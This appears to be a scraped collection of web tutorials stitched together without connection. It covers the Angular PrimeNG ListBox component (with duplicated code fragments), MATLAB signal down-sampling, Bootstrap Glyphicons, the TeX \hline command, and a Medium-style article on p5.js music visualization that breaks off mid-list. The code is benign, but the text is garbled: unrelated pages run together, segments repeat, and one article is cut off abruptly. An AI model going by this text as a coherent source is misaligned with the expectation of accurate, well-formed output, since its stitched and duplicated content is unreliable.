NgModule } from '@angular/core';import { BrowserModule } from '@angular/platform-browser';import { FormsModule } from '@angular/forms';import { HttpClientModule } from '@angular/common/http';import { BrowserAnimationsModule } from '@angular/platform-browser/animations';import { AppComponent } from './app.component';import { ListboxModule } from 'primeng/listbox';import { ButtonModule } from 'primeng/button'; @NgModule({ imports: [BrowserModule, BrowserAnimationsModule, ListboxModule, FormsModule], declarations: [AppComponent], bootstrap: [AppComponent]})export class AppModule {} app.component.ts import { Component } from '@angular/core';import { PrimeNGConfig } from 'primeng/api';interface Course { name: string;} @Component({ selector: 'my-app', templateUrl: './app.component.html'})export class AppComponent { gfg: any[]; constructor(private primengConfig: PrimeNGConfig) { this.gfg = [ { name: 'AngularJS' }, { name: 'ReactJS' }, { name: 'Java' }, { name: 'JavaScript' }, { name: 'HTML' }, { name: 'PrimeNG' }, { name: 'Bootstrap' } ]; } ngOnInit() { this.primengConfig.ripple = true; }} Output: Reference: https://primefaces.org/primeng/showcase/#/listbox Angular-PrimeNG AngularJS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Angular PrimeNG Dropdown Component Angular PrimeNG Calendar Component Angular 10 (blur) Event Angular PrimeNG Messages Component How to make a Bootstrap Modal Popup in Angular 9/8 ? Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 26354, "s": 26326, "text": "\n22 Aug, 2021" }, { "code": null, "e": 26637, "s": 26354, "text": "Angular PrimeNG is an open-source framework with a rich set of native Angular UI components that are used for great styling and this framework is used to make responsive websites with very much ease. In this article, we will know how to use the ListBox component in Angular PrimeNG." }, { "code": null, "e": 26816, "s": 26637, "text": "ListBox component: It is used to make a list component from which we can select one or more items and can also be discarded if the item is not required by unchecking in the list." }, { "code": null, "e": 26828, "s": 26816, "text": "Properties:" }, { "code": null, "e": 26967, "s": 26828, "text": "ariaFilterLabel: It is used to define a string that labels the input filter element. It is of string data type, the default value is null." }, { "code": null, "e": 27086, "s": 26967, "text": "checkbox: It is used to allow selecting items with checkboxes. It is of boolean data type, the default value is false." }, { "code": null, "e": 27204, "s": 27086, "text": "dataKey: It is the property that is used to Identify an option. It is of string data type, the default value is null." }, { "code": null, "e": 27324, "s": 27204, "text": "disabled: It specifies that the element should be disabled. It is of the boolean data type, the default value is false." }, { "code": null, "e": 27440, "s": 27324, "text": "filter: It is used to display a filter input at the header. It is of boolean data type, the default value is false." }, { "code": null, "e": 27565, "s": 27440, "text": "filterMatchMode: It is used to define how the items are filtered. It is of string data type, the default value is contained." }, { "code": null, "e": 27687, "s": 27565, "text": "filterValue: It is used to specify filter displays with this value. It is of string data type, the default value is null." }, { "code": null, "e": 27810, "s": 27687, "text": "filterLocale: It is used to set the locale to use in filtering. It is of string data type, the default value is undefined." }, { "code": null, "e": 27941, "s": 27810, "text": "filterPlaceHolder: It is used to define the placeholder of the filter input. It is of string data type, the default value is null." }, { "code": null, "e": 28062, "s": 27941, "text": "listStyle: It is used to set the Inline style of the list element, It is of string data type, the default value is null." }, { "code": null, "e": 28187, "s": 28062, "text": "listStyleClass: It is used to set the Style class of the list element, It is of string data type, the default value is null." }, { "code": null, "e": 28322, "s": 28187, "text": "metaKeySelection: It is used to defines how multiple items can be selected. It is of the boolean data type, the default value is true." }, { "code": null, "e": 28439, "s": 28322, "text": "multiple: It is used to allow selecting multiple values. It is of the boolean data type, the default value is false." }, { "code": null, "e": 28564, "s": 28439, "text": "readonly: it specifies that the element value cannot be changed. It is of the boolean data type, the default value is false." }, { "code": null, "e": 28705, "s": 28564, "text": "emptyMessage: It is used to set the text to display when there is no data. It is of string data type, the default value is no records found." }, { "code": null, "e": 28873, "s": 28705, "text": "emptyFilterMessage: It is used to set the text to display when filtering does not return any results, It is of string data type, the default value is no records found." }, { "code": null, "e": 29013, "s": 28873, "text": "options: It is an array representing select items to display as the available options, It is of array data type, the default value is null." }, { "code": null, "e": 29128, "s": 29013, "text": "optionLabel: It is used to give the label of an option, It is of string data type, the default value is the label." }, { "code": null, "e": 29287, "s": 29128, "text": "optionValue: It is used to give the value of an option, defaults to the option itself when not defined. It is of string data type, the default value is value." }, { "code": null, "e": 29412, "s": 29287, "text": "optionGroupLabel: It is used to give a label to the option group. It is of string data type, the default value is the label." }, { "code": null, "e": 29559, "s": 29412, "text": "optionGroupChildren: It is used to get the name of the options field of the option group. It is of string data type, the default value is an item." }, { "code": null, "e": 29716, "s": 29559, "text": "group: It is used to set whether to display options as grouped when nested options are provided. It is of the boolean data type, the default value is false." }, { "code": null, "e": 29864, "s": 29716, "text": "showToggleAll: It is used to set whether the header checkbox is shown in multiple modes. It is of the boolean data type, the default value is true." }, { "code": null, "e": 29976, "s": 29864, "text": "style: It is used to set the inline style of the element. It is of string data type, the default value is null." }, { "code": null, "e": 30092, "s": 29976, "text": "styleClass: It is used to set the style class of the element. It is of string data type, the default value is null." }, { "code": null, "e": 30100, "s": 30092, "text": "Events:" }, { "code": null, "e": 30181, "s": 30100, "text": "onChange: It is a callback that is fired when the value of the list box changes." }, { "code": null, "e": 30256, "s": 30181, "text": "onDblClick: It is a callback that is fired when an item is double-clicked." }, { "code": null, "e": 30328, "s": 30256, "text": "onClick: It is a callback that is fired when the Listbox option clicks." }, { "code": null, "e": 30339, "s": 30330, "text": "Styling:" }, { "code": null, "e": 30394, "s": 30339, "text": "p-listbox: It is used for the container of an element." }, { "code": null, "e": 30450, "s": 30394, "text": "p-listbox-list: It is used as a container for the list." }, { "code": null, "e": 30507, "s": 30450, "text": "p-listbox-item: It is used to keep the item in the list." }, { "code": null, "e": 30571, "s": 30507, "text": "p-listbox-header: It is used to show the header of the element." }, { "code": null, "e": 30648, "s": 30571, "text": "p-listbox-filter-container: It is a container of filter input in the header." }, { "code": null, "e": 30700, "s": 30648, "text": "Creating Angular application & module installation:" }, { "code": null, "e": 30781, "s": 30700, "text": "Step 1: Create an Angular application using the following command.ng new appname" }, { "code": null, "e": 30848, "s": 30781, "text": "Step 1: Create an Angular application using the following command." }, { "code": null, "e": 30863, "s": 30848, "text": "ng new appname" }, { "code": null, "e": 30970, "s": 30863, "text": "Step 2: After creating your project folder i.e. appname, move to it using the following command.cd appname" }, { "code": null, "e": 31067, "s": 30970, "text": "Step 2: After creating your project folder i.e. appname, move to it using the following command." }, { "code": null, "e": 31078, "s": 31067, "text": "cd appname" }, { "code": null, "e": 31183, "s": 31078, "text": "Step 3: Install PrimeNG in your given directory.npm install primeng --save\nnpm install primeicons --save" }, { "code": null, "e": 31232, "s": 31183, "text": "Step 3: Install PrimeNG in your given directory." }, { "code": null, "e": 31289, "s": 31232, "text": "npm install primeng --save\nnpm install primeicons --save" }, { "code": null, "e": 31379, "s": 31289, "text": "Project Structure: After completing the above processes, it will look like the following." }, { "code": null, "e": 31464, "s": 31381, "text": "Example 1: This is the basic example that shows how to use the ListBox component. " }, { "code": null, "e": 31483, "s": 31464, "text": "app.component.html" }, { "code": "<h2>GeeksforGeeks</h2><h5>PrimeNG ListBox component</h5><p-listbox [options]=\"gfg\" [(ngModel)]=\"selectedCourse\" optionLabel=\"name\" [style]=\"{'width':'15rem'}\"></p-listbox>", "e": 31659, "s": 31483, "text": null }, { "code": null, "e": 31673, "s": 31659, "text": "app.module.ts" }, { "code": "import { NgModule } from \"@angular/core\";import { BrowserModule } from \"@angular/platform-browser\";import { FormsModule } from \"@angular/forms\";import { BrowserAnimationsModule } from \"@angular/platform-browser/animations\";import { AppComponent } from \"./app.component\";import { ListboxModule } from \"primeng/listbox\"; @NgModule({ imports: [BrowserModule, BrowserAnimationsModule, ListboxModule, FormsModule], declarations: [AppComponent], bootstrap: [AppComponent],})export class AppModule {}", "e": 32205, "s": 31673, "text": null }, { "code": null, "e": 32222, "s": 32205, "text": "app.component.ts" }, { "code": "import { Component } from \"@angular/core\";import { PrimeNGConfig, SelectItemGroup } from \"primeng/api\"; interface Course { name: string;} @Component({ selector: \"my-app\", templateUrl: \"./app.component.html\", styles: [],})export class AppComponent { gfg: Course[]; selectedCourse: Course; constructor(private primengConfig: PrimeNGConfig) { this.gfg = [ { name: \"HTML5\" }, { name: \"JavaScript\" }, { name: \"Java\" }, { name: \"ReactJS\" }, { name: \"AngularJS\" }, ]; }}", "e": 32729, "s": 32222, "text": null }, { "code": null, "e": 32737, "s": 32729, "text": "Output:" }, { "code": null, "e": 32804, "s": 32737, "text": "Example 2: In this example, we will make a dynamic listBox Group. " }, { "code": null, "e": 32823, "s": 32804, "text": "app.component.html" }, { "code": "<h2>GeeksforGeeks</h2><h5>PrimeNG ListBox Component</h5><p-listbox [options]=\"gfg\" [checkbox]=\"true\" [filter]=\"true\" [multiple]=\"true\" optionLabel=\"name\"></p-listbox>", "e": 33012, "s": 32823, "text": null }, { "code": null, "e": 33026, "s": 33012, "text": "app.module.ts" }, { "code": "import { NgModule } from '@angular/core';import { BrowserModule } from '@angular/platform-browser';import { FormsModule } from '@angular/forms';import { HttpClientModule } from '@angular/common/http';import { BrowserAnimationsModule } from '@angular/platform-browser/animations';import { AppComponent } from './app.component';import { ListboxModule } from 'primeng/listbox';import { ButtonModule } from 'primeng/button'; @NgModule({ imports: [BrowserModule, BrowserAnimationsModule, ListboxModule, FormsModule], declarations: [AppComponent], bootstrap: [AppComponent]})export class AppModule {}", "e": 33655, "s": 33026, "text": null }, { "code": null, "e": 33672, "s": 33655, "text": "app.component.ts" }, { "code": "import { Component } from '@angular/core';import { PrimeNGConfig } from 'primeng/api';interface Course { name: string;} @Component({ selector: 'my-app', templateUrl: './app.component.html'})export class AppComponent { gfg: any[]; constructor(private primengConfig: PrimeNGConfig) { this.gfg = [ { name: 'AngularJS' }, { name: 'ReactJS' }, { name: 'Java' }, { name: 'JavaScript' }, { name: 'HTML' }, { name: 'PrimeNG' }, { name: 'Bootstrap' } ]; } ngOnInit() { this.primengConfig.ripple = true; }}", "e": 34226, "s": 33672, "text": null }, { "code": null, "e": 34234, "s": 34226, "text": "Output:" }, { "code": null, "e": 34295, "s": 34234, "text": "Reference: https://primefaces.org/primeng/showcase/#/listbox" }, { "code": null, "e": 34311, "s": 34295, "text": "Angular-PrimeNG" }, { "code": null, "e": 34321, "s": 34311, "text": "AngularJS" }, { "code": null, "e": 34338, "s": 34321, "text": "Web Technologies" }, { "code": null, "e": 34436, "s": 34338, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34471, "s": 34436, "text": "Angular PrimeNG Dropdown Component" }, { "code": null, "e": 34506, "s": 34471, "text": "Angular PrimeNG Calendar Component" }, { "code": null, "e": 34530, "s": 34506, "text": "Angular 10 (blur) Event" }, { "code": null, "e": 34565, "s": 34530, "text": "Angular PrimeNG Messages Component" }, { "code": null, "e": 34618, "s": 34565, "text": "How to make a Bootstrap Modal Popup in Angular 9/8 ?" }, { "code": null, "e": 34658, "s": 34618, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 34691, "s": 34658, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 34736, "s": 34691, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 34779, "s": 34736, "text": "How to fetch data from an API in ReactJS ?" } ]
Down-sampling in MATLAB - GeeksforGeeks
01 Oct, 2020 The two basic operations in a multi-rate system are decreasing/down-sampling (decimation) and increasing (interpolation) the sampling rate of a signal. In down-sampling we start with a constant time signal x(t) and convert it into a succession of tests x[n], in decimation we start with a discrete-time signal x[n] and convert it into another discrete-time signal y[n], which comprises of sub-tests of x[n]. We will be using the decimate() and stem() function.The decimate() function is used to decrease a sample rate by an integer factor. Syntax: a = decimate(x, r)Parameters: x: input signal, r: decimation factor Return Value: Decimated Signal The stem() function is used to plot a discrete sequence data. Syntax: stem(y)Parameter: y: data sequence Return Value: Plot of data sequence in discrete time MATLAB code for down-sampling: % Time vectort = 0 : .00025 : 1; % Original signalx = sin(2 * pi * 50 * t) + sin(2 * pi * 100 * t); % Reduces the sample rate of original signal by factor of 4y = decimate(x, 4); figure()subplot(2, 2, 1); % Plot few samples of the Original signalstem(x(1:75)) title('Original Signal'); subplot(2, 2, 2); % Plots few samples of the Decimated signalstem(y(1:75)); title('Decimated Signal'); Output MATLAB Advanced Computer Subject Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Copying Files to and from Docker Containers Fuzzy Logic | Introduction Basics of API Testing Using Postman Principal Component Analysis with Python Markov Decision Process ML | What is Machine Learning ? How to create a REST API using Java Spring Boot Q-Learning in Python OpenCV - Overview Getting Started with System Design
[ { "code": null, "e": 25583, "s": 25555, "text": "\n01 Oct, 2020" }, { "code": null, "e": 25735, "s": 25583, "text": "The two basic operations in a multi-rate system are decreasing/down-sampling (decimation) and increasing (interpolation) the sampling rate of a signal." }, { "code": null, "e": 25991, "s": 25735, "text": "In down-sampling we start with a constant time signal x(t) and convert it into a succession of tests x[n], in decimation we start with a discrete-time signal x[n] and convert it into another discrete-time signal y[n], which comprises of sub-tests of x[n]." }, { "code": null, "e": 26123, "s": 25991, "text": "We will be using the decimate() and stem() function.The decimate() function is used to decrease a sample rate by an integer factor." }, { "code": null, "e": 26161, "s": 26123, "text": "Syntax: a = decimate(x, r)Parameters:" }, { "code": null, "e": 26178, "s": 26161, "text": "x: input signal," }, { "code": null, "e": 26199, "s": 26178, "text": "r: decimation factor" }, { "code": null, "e": 26230, "s": 26199, "text": "Return Value: Decimated Signal" }, { "code": null, "e": 26292, "s": 26230, "text": "The stem() function is used to plot a discrete sequence data." }, { "code": null, "e": 26318, "s": 26292, "text": "Syntax: stem(y)Parameter:" }, { "code": null, "e": 26335, "s": 26318, "text": "y: data sequence" }, { "code": null, "e": 26388, "s": 26335, "text": "Return Value: Plot of data sequence in discrete time" }, { "code": null, "e": 26419, "s": 26388, "text": "MATLAB code for down-sampling:" }, { "code": "% Time vectort = 0 : .00025 : 1; % Original signalx = sin(2 * pi * 50 * t) + sin(2 * pi * 100 * t); % Reduces the sample rate of original signal by factor of 4y = decimate(x, 4); figure()subplot(2, 2, 1); % Plot few samples of the Original signalstem(x(1:75)) title('Original Signal'); subplot(2, 2, 2); % Plots few samples of the Decimated signalstem(y(1:75)); title('Decimated Signal');", "e": 26815, "s": 26419, "text": null }, { "code": null, "e": 26822, "s": 26815, "text": "Output" }, { "code": null, "e": 26829, "s": 26822, "text": "MATLAB" }, { "code": null, "e": 26855, "s": 26829, "text": "Advanced Computer Subject" }, { "code": null, "e": 26953, "s": 26855, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26997, "s": 26953, "text": "Copying Files to and from Docker Containers" }, { "code": null, "e": 27024, "s": 26997, "text": "Fuzzy Logic | Introduction" }, { "code": null, "e": 27060, "s": 27024, "text": "Basics of API Testing Using Postman" }, { "code": null, "e": 27101, "s": 27060, "text": "Principal Component Analysis with Python" }, { "code": null, "e": 27125, "s": 27101, "text": "Markov Decision Process" }, { "code": null, "e": 27157, "s": 27125, "text": "ML | What is Machine Learning ?" }, { "code": null, "e": 27205, "s": 27157, "text": "How to create a REST API using Java Spring Boot" }, { "code": null, "e": 27226, "s": 27205, "text": "Q-Learning in Python" }, { "code": null, "e": 27244, "s": 27226, "text": "OpenCV - Overview" } ]
How to use the Glyphicons icons in Bootstrap
To use the Glyphicons icon in Bootstrap, use the following code just about anywhere in your code. Leave a space between the icon and text for proper padding like − Live Demo <!DOCTYPE html> <html> <head> <title>Bootstrap Example</title> <link href = "/bootstrap/css/bootstrap.min.css" rel = "stylesheet"> <script src = "/scripts/jquery.min.js"></script> <script src = "/bootstrap/js/bootstrap.min.js"></script> </head> <body> <span class = "glyphicon glyphicon-user"></span> </body> </html> You can try to run the following code to implement the Glyphicons icons: Live Demo <!DOCTYPE html> <html> <head> <title>Bootstrap Example</title> <link href = "/bootstrap/css/bootstrap.min.css" rel = "stylesheet"> <script src = "/scripts/jquery.min.js"></script> <script src = "/bootstrap/js/bootstrap.min.js"></script> </head> <body> <p>The following are the icons:</p> <p> <button type = "button" class = "btn btn-default"> <span class = "glyphicon glyphicon-print"></span> </button> <button type = "button" class = "btn btn-default"> <span class = "glyphicon glyphicon-search"></span> </button> <button type = "button" class = "btn btn-default"> <span class = "glyphicon glyphicon-download"></span> </button> </p> </body> </html>
[ { "code": null, "e": 1226, "s": 1062, "text": "To use the Glyphicons icon in Bootstrap, use the following code just about anywhere in your code. Leave a space between the icon and text for proper padding like −" }, { "code": null, "e": 1236, "s": 1226, "text": "Live Demo" }, { "code": null, "e": 1594, "s": 1236, "text": "<!DOCTYPE html>\n<html>\n <head>\n <title>Bootstrap Example</title>\n <link href = \"/bootstrap/css/bootstrap.min.css\" rel = \"stylesheet\">\n <script src = \"/scripts/jquery.min.js\"></script>\n <script src = \"/bootstrap/js/bootstrap.min.js\"></script>\n </head>\n <body>\n <span class = \"glyphicon glyphicon-user\"></span>\n </body>\n</html>" }, { "code": null, "e": 1667, "s": 1594, "text": "You can try to run the following code to implement the Glyphicons icons:" }, { "code": null, "e": 1677, "s": 1667, "text": "Live Demo" }, { "code": null, "e": 2471, "s": 1677, "text": "<!DOCTYPE html>\n<html>\n <head>\n <title>Bootstrap Example</title>\n <link href = \"/bootstrap/css/bootstrap.min.css\" rel = \"stylesheet\">\n <script src = \"/scripts/jquery.min.js\"></script>\n <script src = \"/bootstrap/js/bootstrap.min.js\"></script>\n </head>\n <body>\n <p>The following are the icons:</p>\n <p>\n <button type = \"button\" class = \"btn btn-default\">\n <span class = \"glyphicon glyphicon-print\"></span>\n </button>\n <button type = \"button\" class = \"btn btn-default\">\n <span class = \"glyphicon glyphicon-search\"></span>\n </button>\n <button type = \"button\" class = \"btn btn-default\">\n <span class = \"glyphicon glyphicon-download\"></span>\n </button>\n </p>\n </body>\n</html>" } ]
\hline - Tex Command
\hline - Used to draw horizontal line. { \hline } \hline command draws horizontal line. \begin{matrix} x_{11} & x_{12} \\ x_{21} & x_{22} \\ x_{31} & x_{32} \\ \hline \end{matrix} x11x12x21x22x31x32 \begin{matrix} x_{11} & x_{12} \\ x_{21} & x_{22} \\ x_{31} & x_{32} \\ \hline \end{matrix} x11x12x21x22x31x32 \begin{matrix} x_{11} & x_{12} \\ x_{21} & x_{22} \\ x_{31} & x_{32} \\ \hline \end{matrix} 14 Lectures 52 mins Ashraf Said 11 Lectures 1 hours Ashraf Said 9 Lectures 1 hours Emenwa Global, Ejike IfeanyiChukwu 29 Lectures 2.5 hours Mohammad Nauman 14 Lectures 1 hours Daniel Stern 15 Lectures 47 mins Nishant Kumar Print Add Notes Bookmark this page
[ { "code": null, "e": 8025, "s": 7986, "text": "\\hline - Used to draw horizontal line." }, { "code": null, "e": 8036, "s": 8025, "text": "{ \\hline }" }, { "code": null, "e": 8074, "s": 8036, "text": "\\hline command draws horizontal line." }, { "code": null, "e": 8190, "s": 8074, "text": "\n\\begin{matrix}\nx_{11} & x_{12} \\\\\nx_{21} & x_{22} \\\\\nx_{31} & x_{32} \\\\\n\\hline\n\\end{matrix}\n\nx11x12x21x22x31x32\n\n\n" }, { "code": null, "e": 8304, "s": 8190, "text": "\\begin{matrix}\nx_{11} & x_{12} \\\\\nx_{21} & x_{22} \\\\\nx_{31} & x_{32} \\\\\n\\hline\n\\end{matrix}\n\nx11x12x21x22x31x32\n\n" }, { "code": null, "e": 8396, "s": 8304, "text": "\\begin{matrix}\nx_{11} & x_{12} \\\\\nx_{21} & x_{22} \\\\\nx_{31} & x_{32} \\\\\n\\hline\n\\end{matrix}" }, { "code": null, "e": 8428, "s": 8396, "text": "\n 14 Lectures \n 52 mins\n" }, { "code": null, "e": 8441, "s": 8428, "text": " Ashraf Said" }, { "code": null, "e": 8474, "s": 8441, "text": "\n 11 Lectures \n 1 hours \n" }, { "code": null, "e": 8487, "s": 8474, "text": " Ashraf Said" }, { "code": null, "e": 8519, "s": 8487, "text": "\n 9 Lectures \n 1 hours \n" }, { "code": null, "e": 8555, "s": 8519, "text": " Emenwa Global, Ejike IfeanyiChukwu" }, { "code": null, "e": 8590, "s": 8555, "text": "\n 29 Lectures \n 2.5 hours \n" }, { "code": null, "e": 8607, "s": 8590, "text": " Mohammad Nauman" }, { "code": null, "e": 8640, "s": 8607, "text": "\n 14 Lectures \n 1 hours \n" }, { "code": null, "e": 8654, "s": 8640, "text": " Daniel Stern" }, { "code": null, "e": 8686, "s": 8654, "text": "\n 15 Lectures \n 47 mins\n" }, { "code": null, "e": 8701, "s": 8686, "text": " Nishant Kumar" }, { "code": null, "e": 8708, "s": 8701, "text": " Print" }, { "code": null, "e": 8719, "s": 8708, "text": " Add Notes" } ]
Bringing songs to life through music visualization | by Sejal Dua | Towards Data Science
This past fall, when I was studying abroad in Copenhagen, I met this designer who was working on a lot of cool visualization projects using Javascript. After a few conversations, I was completely sucked into his creative world. I was mesmerized by his Instagram posts sharing music visualizations in progress, and I ended up going down a rabbit hole that led me to discover lots of other creative geniuses doing similar work. I made a note to myself that I would circle back to this source of inspiration one day and get my hands dirty with a project of my own. Before we get into it, let me just set the record straight that I struggle in the creativity apartment. I do not have a wild imagination — my artistic taste is pretty much limited to geometric designs that are satisfying to look at and maybe borderline hypnotic. For this reason, figuring out where to start was, without a doubt, the most difficult aspect of this project. Oddly enough, my main inspiration for this project came from the TV show This Is Us. It is admittedly quite an emotional drama — please don’t judge me for watching it. However, one thing I am not ashamed to admit is that I am a huge fan of Siddhartha Khosla’s original score for the show. I think he is a brilliant composer, and sometimes I play his music on repeat at night to lull me right to sleep. I wanted to explore those tracks further and see if I could create a visual component that could be equally as soothing as the audio. The first step was to get acquainted with the p5 Javascript library. p5.js is a library that is specially tailored for artists, designers, educators, and beginners with the purpose of making Javascript more accessible for coders looking to implement different kinds of applications. I perused through a multitude of examples to figure out how to process audio. First, I played around with a sound frequency spectrum to see a basic example of audio being mapped to some type of visual. Then, I learned of a function called getEnergy() which returns the amount of energy (volume) at a specific frequency, or the average amount of energy between two frequencies. Moreover, predefined frequency ranges (“bass”, “lowMid”, “mid”, “highMid”, and “treble”) can be passed into the function. The only stipulation is that the analyze() function must be called initially because the getEnergy() function relies on the analyzed frequency data from that function call. The frequency extraction code for my project was quite simple: var fft = new p5.FFT();fft.analyze();var bass = fft.getEnergy("bass");var treble = fft.getEnergy("treble");var mid = fft.getEnergy("mid"); It was mapping the audio to the visual components that took a lot of trial and error with angles and math. I ended up using mouse positioning to dictate the number of line segments and radius for the polygons in the visualization. pieces = map(mouseX, 0, width, 4, 8);radius = map(mouseY, 0, height, windowHeight / 4, windowHeight/2); Then, I made some mapping and scale variables for the line segments. var map_mid = map(mid, 0, 255, -radius, radius);var scale_mid = map(mid, 0, 255, 1, 1.5);var map_treble = map(treble, 0, 255, -radius, radius);var scale_treble = map(treble, 0, 255, 1, 1.5);var map_bass = map(bass, 0, 255, -100, 800);var scale_bass = map(bass, 0, 255, 0, 0.8); Finally, I wrote a for loop to define the bass, mid, and treble polygon rings that would be rotating to the frequency of the audio throughout the song. The result of this code can be seen in the video below. One of the main reasons I chose to use the song “Jack in AA” from the This Is Us soundtrack was because I happened to have its MP3 locally on my computer and could easily upload it into the visualization. I wanted to be able to visualize other songs, so I implemented a pre-loaded track feature that allows you to click the number keys to switch the track being played. The additional track options (excluding “Jack in AA” that is preloaded as track number 0) are: A R I Z O N A - Where I Wanna BeBleachers - Wild HeartDesiigner - PandaA.R. Rahman - Dil Se ReKhalid - VertigoShakey Graves - Family and GenusMumford & Sons - I Will WaitTravis Scott - HIGHEST IN THE ROOMGlass Animals, Denzel Curry - Tokyo Drifting A R I Z O N A - Where I Wanna Be Bleachers - Wild Heart Desiigner - Panda A.R. Rahman - Dil Se Re Khalid - Vertigo Shakey Graves - Family and Genus Mumford & Sons - I Will Wait Travis Scott - HIGHEST IN THE ROOM Glass Animals, Denzel Curry - Tokyo Drifting A good variety of genres is represented by these tracks. It was actually quite a challenge acquiring MP3 files without having to visit sketchy, virus-laden, and probably illegal sites. That being said, there is an option to upload your own track if you have a .mp3, .wav, or .ogg file. The coloring of the visualization is quite straightforward. An array of four colors is used to make up the color palette. The four colors are given in the following order: [(background), (bass), (mid), (treble)]. To allow for color switching, I came up with a total of 5 color palettes (red, orange, green, blue, and purple) and then added a simple keypress listener to iterate through the color palettes. Pressing the “Enter” key triggers this functionality, as well as double clicking. You can pause or play the track by clicking the “Space” key or by clicking the toggle button in the bottom left corner. In the demonstration above, we see the song “Where I Wanna Be” by A R I Z O N A brought to life in the visualization. This song has a characteristically fast tempo, which is reflected by the frequent contractions of the polygons whenever the frequencies change in accordance with the beat. It is also very satisfying to hit the “Enter” key on each beat because the color changes make the visualization feel very vibrant, almost like you might find at a disco or nightclub. The song “Tokyo Drifting” by the Glass Animals and Denzel Curry has been a favorite of mine as of late. My good friend sent it to me a while back, and I didn’t get what the hype was all about, but each time I listen to it, I come to appreciate it more. I recorded a snippet of the visualization in the video embed above primarily because the intro to the song is fascinating to watch. Since there are not a lot of audio channels being mixed at once during the first few seconds of the song, each semi-creepy sound has a direct correlation to some visual component. Then, at 0:27, there is a huge beat drop that completely sucks you into the rest of the track. The beat is quite prominent throughout the whole song, and its significance is reflected in the size of each beat pulsation represented by the light blue color in the video. Automatically pull new music from some music streaming service so that I (and others) can visit this visualization app to listen to and experience new music. Develop a more creative music visualization that is more thematic according to a song or artist rather than geometric. Make a mobile app that runs this code in a more elegant way (some of the components are a bit janky in this web app). Build a GAN that generates music continuously. The source code can be found here: github.com This was just my first project involving music visualization using Javascript. I definitely intend to keep improving this project, and I also hope to pivot to other interesting applications and development tools related to music. If you would like to send me any feedback or inspiration, please contact me at sejaldua@gmail.com or through my website. Thank you for reading!
[ { "code": null, "e": 734, "s": 172, "text": "This past fall, when I was studying abroad in Copenhagen, I met this designer who was working on a lot of cool visualization projects using Javascript. After a few conversations, I was completely sucked into his creative world. I was mesmerized by his Instagram posts sharing music visualizations in progress, and I ended up going down a rabbit hole that led me to discover lots of other creative geniuses doing similar work. I made a note to myself that I would circle back to this source of inspiration one day and get my hands dirty with a project of my own." }, { "code": null, "e": 1107, "s": 734, "text": "Before we get into it, let me just set the record straight that I struggle in the creativity apartment. I do not have a wild imagination — my artistic taste is pretty much limited to geometric designs that are satisfying to look at and maybe borderline hypnotic. For this reason, figuring out where to start was, without a doubt, the most difficult aspect of this project." }, { "code": null, "e": 1643, "s": 1107, "text": "Oddly enough, my main inspiration for this project came from the TV show This Is Us. It is admittedly quite an emotional drama — please don’t judge me for watching it. However, one thing I am not ashamed to admit is that I am a huge fan of Siddhartha Khosla’s original score for the show. I think he is a brilliant composer, and sometimes I play his music on repeat at night to lull me right to sleep. I wanted to explore those tracks further and see if I could create a visual component that could be equally as soothing as the audio." }, { "code": null, "e": 1926, "s": 1643, "text": "The first step was to get acquainted with the p5 Javascript library. p5.js is a library that is specially tailored for artists, designers, educators, and beginners with the purpose of making Javascript more accessible for coders looking to implement different kinds of applications." }, { "code": null, "e": 2598, "s": 1926, "text": "I perused through a multitude of examples to figure out how to process audio. First, I played around with a sound frequency spectrum to see a basic example of audio being mapped to some type of visual. Then, I learned of a function called getEnergy() which returns the amount of energy (volume) at a specific frequency, or the average amount of energy between two frequencies. Moreover, predefined frequency ranges (“bass”, “lowMid”, “mid”, “highMid”, and “treble”) can be passed into the function. The only stipulation is that the analyze() function must be called initially because the getEnergy() function relies on the analyzed frequency data from that function call." }, { "code": null, "e": 2661, "s": 2598, "text": "The frequency extraction code for my project was quite simple:" }, { "code": null, "e": 2800, "s": 2661, "text": "var fft = new p5.FFT();fft.analyze();var bass = fft.getEnergy(\"bass\");var treble = fft.getEnergy(\"treble\");var mid = fft.getEnergy(\"mid\");" }, { "code": null, "e": 3031, "s": 2800, "text": "It was mapping the audio to the visual components that took a lot of trial and error with angles and math. I ended up using mouse positioning to dictate the number of line segments and radius for the polygons in the visualization." }, { "code": null, "e": 3135, "s": 3031, "text": "pieces = map(mouseX, 0, width, 4, 8);radius = map(mouseY, 0, height, windowHeight / 4, windowHeight/2);" }, { "code": null, "e": 3204, "s": 3135, "text": "Then, I made some mapping and scale variables for the line segments." }, { "code": null, "e": 3482, "s": 3204, "text": "var map_mid = map(mid, 0, 255, -radius, radius);var scale_mid = map(mid, 0, 255, 1, 1.5);var map_treble = map(treble, 0, 255, -radius, radius);var scale_treble = map(treble, 0, 255, 1, 1.5);var map_bass = map(bass, 0, 255, -100, 800);var scale_bass = map(bass, 0, 255, 0, 0.8);" }, { "code": null, "e": 3634, "s": 3482, "text": "Finally, I wrote a for loop to define the bass, mid, and treble polygon rings that would be rotating to the frequency of the audio throughout the song." }, { "code": null, "e": 3690, "s": 3634, "text": "The result of this code can be seen in the video below." }, { "code": null, "e": 4155, "s": 3690, "text": "One of the main reasons I chose to use the song “Jack in AA” from the This Is Us soundtrack was because I happened to have its MP3 locally on my computer and could easily upload it into the visualization. I wanted to be able to visualize other songs, so I implemented a pre-loaded track feature that allows you to click the number keys to switch the track being played. The additional track options (excluding “Jack in AA” that is preloaded as track number 0) are:" }, { "code": null, "e": 4404, "s": 4155, "text": "A R I Z O N A - Where I Wanna BeBleachers - Wild HeartDesiigner - PandaA.R. Rahman - Dil Se ReKhalid - VertigoShakey Graves - Family and GenusMumford & Sons - I Will WaitTravis Scott - HIGHEST IN THE ROOMGlass Animals, Denzel Curry - Tokyo Drifting" }, { "code": null, "e": 4437, "s": 4404, "text": "A R I Z O N A - Where I Wanna Be" }, { "code": null, "e": 4460, "s": 4437, "text": "Bleachers - Wild Heart" }, { "code": null, "e": 4478, "s": 4460, "text": "Desiigner - Panda" }, { "code": null, "e": 4502, "s": 4478, "text": "A.R. Rahman - Dil Se 